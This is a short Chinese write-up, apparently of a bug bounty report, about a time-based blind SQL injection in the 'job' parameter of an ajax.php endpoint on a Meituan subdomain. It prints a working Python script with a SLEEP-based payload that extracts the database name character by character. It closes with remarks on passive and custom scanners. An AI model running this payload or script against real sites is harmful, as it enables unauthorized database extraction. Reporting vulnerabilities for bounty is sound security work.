rank 75
金币 75
等价RMB 750
数据包样式如下
POST /ajax.php
HOST: xxx.meituan.com
Cookie: xxx
id=123&job= 注入点
参数job存在延时注入
检测脚本
这个提交的漏洞精彩的地方在于验证并不是用sqlmap,而是将自己的延时注入写成脚本,原因是sqlmap没有注出数据。原理上是单线程,一个字符从 ASCII32到127过一遍(其实可以用八个线程检测一个字节的八个比特位,这样会稍微快点。但也还可以,毕竟POC,就跑一个库名证明一下就可以了)。
代码如下,其中url cookie headers打上马赛克。
1 #! /usr/bin/env python3 2 # Date : 1/5 21:47 3 # Comment: no comment 4 5 import requests 6 import time 7 8 burp0_url = "XXX" 9 burp0_cookies = {"XXX"} 10 burp0_headers = {"XXX"} 11 12 13 db = '' 14 for i in range(1, 20): 15 for j in range(32, 127): 16 job = "123'/**/AND/**/if(mid(database()," + str(i) + ",1)='" + chr(j) + "',SLEEP(5),0)/**/AND/**/'a'='a" 17 print job 18 burp0_data = {"puid": "2898605640", "company": "aaa", 19 "job": job} 20 start = time.time() 21 try: 22 res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) 23 except Exception as e: 24 continue 25 if time.time() - start > 5: 26 db += chr(j) 27 break 28 print('database:', db)
这里扫描,也需要带cookie的扫描。突然想起了一种扫描方法,被动扫描。在游览器上按上插件,在游览网站的时候,会将流量做一个副本到扫描器中进行扫描。也就是说,只要你游览过的网站走过的地儿,都会自动给检测一遍规则库中的漏洞(原理如 http://www.freebuf.com/vuls/141679.html)。
AWVS的爬虫扫描还是强度不够,有一些细节可能扫不出来,而且容易被封,总觉得扫不出什么结果。
写自己的扫描器,更精确,更细节,是一个重要的点吧。
-650